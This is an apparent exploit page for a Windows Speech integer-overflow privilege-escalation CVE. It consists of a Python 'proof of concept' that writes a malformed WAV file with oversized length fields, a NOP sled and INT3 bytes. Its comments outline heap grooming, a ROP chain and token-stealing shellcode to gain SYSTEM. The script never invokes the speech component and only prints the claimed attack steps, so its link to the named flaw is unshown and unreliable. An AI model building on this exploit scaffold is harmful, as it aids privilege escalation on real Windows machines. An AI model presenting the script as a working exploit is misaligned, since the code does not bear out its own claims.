CVE-2025-58715：Microsoft Windows Speech 整数溢出权限提升漏洞

# CVE-2025-58715 - Microsoft Windows Speech Integer Overflow PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the integer overflow # vulnerability in the Windows Speech component. # NOTE: This code is for educational and defensive research purposes only. import struct import sys # Malicious voice data payload generator # Targets the integer overflow in buffer size calculation within Windows Speech def craft_malicious_speech_payload(): """ Craft a malicious speech data payload that triggers integer overflow in the Windows Speech component's buffer size calculation. """ # Simulate a WAVE/RIFF-like header structure used by Windows Speech # The vulnerability is triggered when processing specific length fields # RIFF header riff_header = b'RIFF' # Chunk size - intentionally set to a large value to trigger overflow # when combined with other fields in arithmetic operations chunk_size = struct.pack('<I', 0xFFFFFFFF) # Max uint32 to trigger wraparound # Wave format identifier wave_format = b'WAVE' # fmt sub-chunk fmt_subchunk_id = b'fmt ' fmt_subchunk_size = struct.pack('<I', 16) audio_format = struct.pack('<H', 1) # PCM num_channels = struct.pack('<H', 1) # Mono sample_rate = struct.pack('<I', 44100) byte_rate = struct.pack('<I', 44100 * 2) block_align = struct.pack('<H', 2) bits_per_sample = struct.pack('<H', 16) # data sub-chunk with crafted size to trigger integer overflow data_subchunk_id = b'data' # This value, when multiplied by block_align, causes integer overflow # resulting in a small buffer allocation followed by large data copy malicious_data_size = struct.pack('<I', 0x20000001) # Payload: shellcode or token-stealing payload placeholder # In a real exploit, this would contain: # - NOP sled # - Heap spray/grooming data # - ROP chain for DEP bypass # - Token stealing shellcode to elevate to SYSTEM payload = b'\x90' * 256 # NOP sled placeholder payload += b'\xCC' * 256 # INT3 breakpoints for debugging # Assemble the malicious speech file malicious_file = ( riff_header + chunk_size + wave_format + fmt_subchunk_id + fmt_subchunk_size + audio_format + num_channels + sample_rate + byte_rate + block_align + bits_per_sample + data_subchunk_id + malicious_data_size + payload ) return malicious_file def exploit_cve_2025_58715(): """ Main exploit function for CVE-2025-58715. Delivers the crafted payload to the Windows Speech component to trigger integer overflow and achieve privilege escalation. """ print("[*] CVE-2025-58715 PoC - Windows Speech Integer Overflow") print("[*] Generating malicious speech payload...") payload = craft_malicious_speech_payload() # Write the malicious payload to a file output_file = "malicious_speech.wav" with open(output_file, 'wb') as f: f.write(payload) print(f"[+] Malicious payload written to: {output_file}") print("[*] Triggering vulnerability via Windows Speech API...") print("[!] In a real exploit scenario:") print(" 1. The crafted audio file is fed to the Speech Recognition API") print(" 2. Integer overflow occurs during buffer size calculation") print(" 3. Heap buffer overflow enables arbitrary code execution") print(" 4. Token stealing shellcode elevates to SYSTEM privileges") print("[*] PoC execution complete (conceptual demonstration)") if __name__ == "__main__": exploit_cve_2025_58715()